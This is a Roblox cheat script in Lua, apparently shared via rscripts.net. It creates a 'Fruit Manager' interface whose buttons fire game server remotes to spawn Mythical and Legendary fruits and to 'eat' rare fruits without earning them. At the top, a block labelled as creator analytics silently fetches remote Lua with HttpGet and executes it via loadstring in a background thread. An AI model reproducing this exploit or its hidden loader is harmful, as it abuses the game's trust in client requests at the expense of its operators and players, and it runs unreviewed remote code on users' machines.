-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6a93b3ea4e75aa419320188a"))() end) end) --[[rscripts:analytics:end]] local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local TweenService = game:GetService("TweenService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local player = Players.LocalPlayer --// SETTINGS local TOGGLE_KEY = Enum.KeyCode.K --// CREATE GUI local screenGui = Instance.new("ScreenGui") screenGui.Name = "FruitSpawnerUI" screenGui.ResetOnSpawn = false screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling screenGui.Parent = player:WaitForChild("PlayerGui") --// MAIN FRAME local main = Instance.new("Frame") main.Name = "Main" main.Size = UDim2.new(0, 350, 0, 440) main.Position = UDim2.new(0.5, -175, 0.5, -220) main.BackgroundColor3 = Color3.fromRGB(25, 25, 32) main.BorderSizePixel = 0 main.Parent = screenGui local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(0, 14) corner.Parent = main --// TITLE BAR local titleBar = Instance.new("Frame") titleBar.Size = UDim2.new(1, 0, 0, 50) titleBar.BackgroundColor3 = Color3.fromRGB(35, 35, 45) titleBar.BorderSizePixel = 0 titleBar.Parent = main local titleCorner = Instance.new("UICorner") titleCorner.CornerRadius = UDim.new(0, 14) titleCorner.Parent = titleBar local title = Instance.new("TextLabel") title.Size = UDim2.new(1, -60, 1, 0) title.Position = UDim2.new(0, 15, 0, 0) title.BackgroundTransparency = 1 title.Text = "🍎 Fruit Manager" title.TextColor3 = Color3.fromRGB(255, 255, 255) title.TextSize = 19 title.Font = Enum.Font.GothamBold title.TextXAlignment = Enum.TextXAlignment.Left title.Parent = titleBar --// CLOSE BUTTON local closeButton = Instance.new("TextButton") closeButton.Size = UDim2.new(0, 32, 0, 32) closeButton.Position = UDim2.new(1, -40, 0, 9) closeButton.BackgroundColor3 = Color3.fromRGB(200, 55, 65) closeButton.Text = "×" closeButton.TextColor3 = Color3.fromRGB(255, 255, 255) closeButton.TextSize = 24 closeButton.Font = Enum.Font.GothamBold closeButton.AutoButtonColor = false closeButton.Parent = titleBar local closeCorner = Instance.new("UICorner") closeCorner.CornerRadius = UDim.new(0, 8) closeCorner.Parent = closeButton --// TAB BAR local tabBar = Instance.new("Frame") tabBar.Size = UDim2.new(1, -30, 0, 42) tabBar.Position = UDim2.new(0, 15, 0, 60) tabBar.BackgroundTransparency = 1 tabBar.Parent = main local spawnTab = Instance.new("TextButton") spawnTab.Size = UDim2.new(0.5, -5, 1, 0) spawnTab.Position = UDim2.new(0, 0, 0, 0) spawnTab.BackgroundColor3 = Color3.fromRGB(75, 170, 95) spawnTab.Text = "🌱 Spawn" spawnTab.TextColor3 = Color3.fromRGB(255, 255, 255) spawnTab.TextSize = 15 spawnTab.Font = Enum.Font.GothamBold spawnTab.AutoButtonColor = false spawnTab.Parent = tabBar local spawnTabCorner = Instance.new("UICorner") spawnTabCorner.CornerRadius = UDim.new(0, 9) spawnTabCorner.Parent = spawnTab local eatTab = Instance.new("TextButton") eatTab.Size = UDim2.new(0.5, -5, 1, 0) eatTab.Position = UDim2.new(0.5, 5, 0, 0) eatTab.BackgroundColor3 = Color3.fromRGB(50, 50, 62) eatTab.Text = "🍎 Eat" eatTab.TextColor3 = Color3.fromRGB(190, 190, 200) eatTab.TextSize = 15 eatTab.Font = Enum.Font.GothamBold eatTab.AutoButtonColor = false eatTab.Parent = tabBar local eatTabCorner = Instance.new("UICorner") eatTabCorner.CornerRadius = UDim.new(0, 9) eatTabCorner.Parent = eatTab --// CONTENT local content = Instance.new("Frame") content.Size = UDim2.new(1, -30, 1, -117) content.Position = UDim2.new(0, 15, 0, 112) content.BackgroundTransparency = 1 content.Parent = main --// CREATE BUTTON HELPER local function createButton(parent, text, color, callback) local button = Instance.new("TextButton") button.Size = UDim2.new(1, 0, 0, 52) button.BackgroundColor3 = color button.Text = text button.TextColor3 = Color3.fromRGB(255, 255, 255) button.TextSize = 17 button.Font = Enum.Font.GothamBold button.AutoButtonColor = false button.Parent = parent local buttonCorner = Instance.new("UICorner") buttonCorner.CornerRadius = UDim.new(0, 10) buttonCorner.Parent = button local normalColor = color local hoverColor = color:Lerp(Color3.new(1, 1, 1), 0.12) button.MouseEnter:Connect(function() TweenService:Create( button, TweenInfo.new(0.15), {BackgroundColor3 = hoverColor} ):Play() end) button.MouseLeave:Connect(function() TweenService:Create( button, TweenInfo.new(0.15), {BackgroundColor3 = normalColor} ):Play() end) button.MouseButton1Click:Connect(callback) return button end --// SPAWN TAB local spawnPage = Instance.new("ScrollingFrame") spawnPage.Size = UDim2.new(1, 0, 1, 0) spawnPage.BackgroundTransparency = 1 spawnPage.BorderSizePixel = 0 spawnPage.ScrollBarThickness = 5 spawnPage.ScrollBarImageColor3 = Color3.fromRGB(90, 90, 105) spawnPage.AutomaticCanvasSize = Enum.AutomaticSize.Y spawnPage.CanvasSize = UDim2.new(0, 0, 0, 0) spawnPage.Parent = content local spawnLayout = Instance.new("UIListLayout") spawnLayout.Padding = UDim.new(0, 9) spawnLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center spawnLayout.Parent = spawnPage local rarityColors = { Mythical = Color3.fromRGB(180, 75, 255), Legendary = Color3.fromRGB(255, 170, 45), Rare = Color3.fromRGB(70, 140, 255), Uncommon = Color3.fromRGB(75, 190, 105), Common = Color3.fromRGB(130, 130, 140) } local function spawnFruit(rarity) local reward = player :WaitForChild("PlayerGui") :WaitForChild("SpinUI") :WaitForChild("Chat") :WaitForChild("Diamond") :WaitForChild("DiamondSpin") :WaitForChild("Reward") reward:FireServer(rarity) end for _, rarity in ipairs({ "Mythical", "Legendary", "Rare", "Uncommon", "Common" }) do createButton( spawnPage, "✦ " .. rarity, rarityColors[rarity], function() spawnFruit(rarity) end ) end --// EAT TAB local eatPage = Instance.new("ScrollingFrame") eatPage.Size = UDim2.new(1, 0, 1, 0) eatPage.BackgroundTransparency = 1 eatPage.BorderSizePixel = 0 eatPage.ScrollBarThickness = 5 eatPage.ScrollBarImageColor3 = Color3.fromRGB(90, 90, 105) eatPage.AutomaticCanvasSize = Enum.AutomaticSize.Y eatPage.CanvasSize = UDim2.new(0, 0, 0, 0) eatPage.Visible = false eatPage.Parent = content local eatLayout = Instance.new("UIListLayout") eatLayout.Padding = UDim.new(0, 9) eatLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center eatLayout.Parent = eatPage -- Warp Fruit eat button createButton( eatPage, "🍎 Eat Warp Fruit", Color3.fromRGB(190, 75, 85), function() local args = { "Eat", "WarpFruit", "Warp" } ReplicatedStorage :WaitForChild("SystemFruitEatV1") :WaitForChild("SecureEated") :FireServer(unpack(args)) end ) -- Kitsune Fruit eat button createButton( eatPage, "🦊 Eat Kitsune Fruit", Color3.fromRGB(255, 120, 190), function() local args = { "Eat", "KitsuneFruit", "Kitsune" } ReplicatedStorage :WaitForChild("SystemFruitEatV1") :WaitForChild("SecureEated") :FireServer(unpack(args)) end ) -- Gravity Fruit eat button createButton( eatPage, "🌌 Eat Gravity Fruit", Color3.fromRGB(120, 80, 200), function() local args = { "Eat", "GravityFruit", "Gravity" } ReplicatedStorage :WaitForChild("SystemFruitEatV1") :WaitForChild("SecureEated") :FireServer(unpack(args)) end ) -- Mammoth Fruit eat button createButton( eatPage, "🐘 Eat Mammoth Fruit", Color3.fromRGB(160, 115, 85), function() local args = { "Eat", "MammothFruit", "Mammoth" } ReplicatedStorage :WaitForChild("SystemFruitEatV1") :WaitForChild("SecureEated") :FireServer(unpack(args)) end ) -- Light Fruit eat button createButton( eatPage, "💡 Eat Light Fruit", Color3.fromRGB(255, 225, 90), function() local args = { "Eat", "LightFruit", "Light" } ReplicatedStorage :WaitForChild("SystemFruitEatV1") :WaitForChild("SecureEated") :FireServer(unpack(args)) end ) -- Beru Fruit eat button createButton( eatPage, "👾 Eat Beru Fruit", Color3.fromRGB(95, 70, 155), function() local args = { "Eat", "BeruFruit", "Beru" } ReplicatedStorage :WaitForChild("SystemFruitEatV1") :WaitForChild("SecureEated") :FireServer(unpack(args)) end ) -- Kaisel Fruit eat button createButton( eatPage, "🐉 Eat Kaisel Fruit", Color3.fromRGB(75, 115, 180), function() local args = { "Eat", "KaiselFruit", "Kaisel" } ReplicatedStorage :WaitForChild("SystemFruitEatV1") :WaitForChild("SecureEated") :FireServer(unpack(args)) end ) -- Yeti Fruit eat button createButton( eatPage, "❄️ Eat Yeti Fruit", Color3.fromRGB(100, 190, 230), function() local args = { "Eat", "YetiFruit", "Yeti" } ReplicatedStorage :WaitForChild("SystemFruitEatV1") :WaitForChild("SecureEated") :FireServer(unpack(args)) end ) -- Snowman Fruit eat button createButton( eatPage, "☃️ Eat Snowman Fruit", Color3.fromRGB(120, 210, 255), function() local args = { "Eat", "SnowmanFruit", "Snowman" } ReplicatedStorage :WaitForChild("SystemFruitEatV1") :WaitForChild("SecureEated") :FireServer(unpack(args)) end ) -- Magma Fruit eat button createButton( eatPage, "🌋 Eat Magma Fruit", Color3.fromRGB(235, 80, 45), function() local args = { "Eat", "MagmaFruit", "Magma" } ReplicatedStorage :WaitForChild("SystemFruitEatV1") :WaitForChild("SecureEated") :FireServer(unpack(args)) end ) -- GUM Gear 5 Fruit eat button createButton( eatPage, "⚪ Eat GUM Gear 5 Fruit", Color3.fromRGB(245, 200, 200), function() local args = { "Eat", "GUMGear5Fruit", "GUMGear5" } ReplicatedStorage :WaitForChild("SystemFruitEatV1") :WaitForChild("SecureEated") :FireServer(unpack(args)) end ) -- Arise Fruit eat button createButton( eatPage, "⚔️ Eat Arise Fruit", Color3.fromRGB(115, 75, 180), function() local args = { "Eat", "AriseFruit", "Arise" } ReplicatedStorage :WaitForChild("SystemFruitEatV1") :WaitForChild("SecureEated") :FireServer(unpack(args)) end ) -- Arise Fruit eat button createButton( eatPage, "🏹 Eat Hunt Fruit", Color3.fromRGB(190, 100, 75), function() local args = { "Eat", "HuntFruitFruit", "HuntFruit" } ReplicatedStorage :WaitForChild("SystemFruitEatV1") :WaitForChild("SecureEated") :FireServer(unpack(args)) end ) --// TAB SWITCHING local function showSpawn() spawnPage.Visible = true eatPage.Visible = false spawnTab.BackgroundColor3 = Color3.fromRGB(75, 170, 95) spawnTab.TextColor3 = Color3.fromRGB(255, 255, 255) eatTab.BackgroundColor3 = Color3.fromRGB(50, 50, 62) eatTab.TextColor3 = Color3.fromRGB(190, 190, 200) end local function showEat() spawnPage.Visible = false eatPage.Visible = true eatTab.BackgroundColor3 = Color3.fromRGB(190, 75, 85) eatTab.TextColor3 = Color3.fromRGB(255, 255, 255) spawnTab.BackgroundColor3 = Color3.fromRGB(50, 50, 62) spawnTab.TextColor3 = Color3.fromRGB(190, 190, 200) end spawnTab.MouseButton1Click:Connect(showSpawn) eatTab.MouseButton1Click:Connect(showEat) --// K KEY TO TOGGLE local visible = true local function toggleUI() visible = not visible main.Visible = visible end closeButton.MouseButton1Click:Connect(toggleUI) UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end if input.KeyCode == TOGGLE_KEY then toggleUI() end end) --// DRAGGING local dragging = false local dragStart local startPosition titleBar.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPosition = main.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) UserInputService.InputChanged:Connect(function(input) if not dragging then return end if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then local delta = input.Position - dragStart main.Position = UDim2.new( startPosition.X.Scale, startPosition.X.Offset + delta.X, startPosition.Y.Scale, startPosition.Y.Offset + delta.Y ) end end)